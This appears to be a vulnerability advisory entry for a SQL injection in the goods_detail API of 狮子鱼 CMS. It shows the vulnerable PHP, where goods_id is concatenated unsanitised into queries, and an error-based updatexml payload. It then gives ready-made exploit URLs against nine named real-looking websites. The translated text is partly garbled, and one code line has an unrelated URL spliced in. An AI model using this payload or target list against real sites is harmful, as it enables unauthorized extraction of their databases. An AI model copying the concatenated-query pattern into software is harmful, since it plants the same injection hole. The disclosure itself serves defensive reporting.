| Description | The source code file for the pure vulnerability is .class.php by ApiController
The vulnerable file is ApiController.class.php and the key location is :
public function goods_detail()
{
$goods_id = I('get.goods_id');
//gallery =>img_url
//goods goods.goods_desc goods_name group_price market_price sell_count group_number
$sql="select g.*,gd.description,gd.summary,gd.tag from ".
C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;
$goods_arr=M()->query($sql);
$qian=array("\r\n");
$hou=array("<br/>");
$goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']);
$sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
$goods_image=M()->query($sql);
$gallery = array();
$default_image = '';
foreach($goods_image as $val)
{
$val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/ http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/'.$val['image'];
if(empty($default_image))
{
$default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
}
$gallery[] = array('img_url' => $val['img_url']);
}
$goods = $goods_arr[0];
The payload for the vulnerability test is:
xxx/index.php?s=api/goods_detail&goods_id=1 and updatexml(0,concat(0x7e,(database())),0)
Purely in the vulnerability URL is (example):
https://zl.diguan888.com/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
https://lijiejietest.sipokeyes.vip520.net/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
https://bd.66tg.top/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
https://chuangke.bangbendi.com//index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
https://ziyang.langlaoda.cn/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
https://ankangshi.langlaoda.cn/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
https://weinanheyangxian.langlaoda.cn//index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
http://langlaoda.cn//index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1),
https://qy.bwsoftware.cn/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)，
Vulnerability description:
Poor filtering of goods_id parameters in狮子鱼 CMS ApiController .class.php files leads to SQL injection vulnerability By inserting SQL commands into web forms or entering query strings for domain names or page requests, the server is finally tricked into executing malicious SQL commands to obtain data in the database |
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